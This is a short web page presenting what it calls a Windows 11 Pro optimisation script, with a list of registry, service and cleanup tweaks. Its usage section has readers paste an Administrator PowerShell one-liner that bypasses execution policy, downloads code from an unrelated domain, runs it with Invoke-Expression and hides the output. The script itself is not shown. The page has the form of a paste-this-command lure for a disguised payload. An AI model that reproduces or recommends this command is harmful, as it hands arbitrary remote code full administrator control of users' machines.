Optimize Windows11 Pro
What the script does
The script performs 12 major optimization categories automatically:
- System Restore Point — Creates a safety checkpoint before any changes[^1][^2]
- Ultimate Performance Power Plan — Activates the hidden Ultimate Performance plan or falls back to High Performance
- Visual Effects — Sets everything to "best performance" and disables transparency/animations
- SSD Optimization — Executes TRIM on all drives, enables write caching, confirms weekly schedule
- Startup Bloat Removal — Disables common bloatware (Teams, OneDrive, Adobe updaters, etc.)
- Xbox Game Bar & Telemetry — Disables Game Bar, DVR, and reduces telemetry to minimum
- Background Apps — Restricts background app permissions system-wide
- Windows Update — Prevents auto-restart and disables aggressive update delivery
- Unnecessary Services — Stops and disables telemetry, Xbox, Fax, RemoteRegistry, RetailDemo services
- Network Throttling — Removes Windows network throttling and disables adapter power management
- System Responsiveness — Prioritizes foreground apps, disables Superfetch on SSDs, minimizes menu delays
- Temp File Cleanup — Clears Windows Temp, User Temp, and Prefetch folders
How to use it
Run as Administrator:
Right-click PowerShell or Windows Terminal → "Run as Administrator", then:
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force; Invoke-Expression (Invoke-WebRequest -Uri "https://docs.greenhome.stream/attachments/58" -UseBasicP) | Out-Null
The script runs fully automated—no prompts, no user interaction needed. It uses a clean, timestamped, color-coded output so you see exactly what's happening in real-time.
Safety features
- Creates a restore point first (you can roll back if needed)
- All registry/service changes use
-ErrorAction SilentlyContinuefor non-critical operations - Won't break if certain features don't exist on your system
- Detailed success/warning/error messages for troubleshooting
What you'll see
The output uses:
- Cyan headers for each section
- Green checkmarks for successful operations
- Yellow warnings for partial/skipped operations
- Red errors if something fails
- Timestamped steps
[HH:mm:ss] ► Action
After completion, you'll get a summary and a restart prompt (press any key to exit, then reboot manually).
No Comments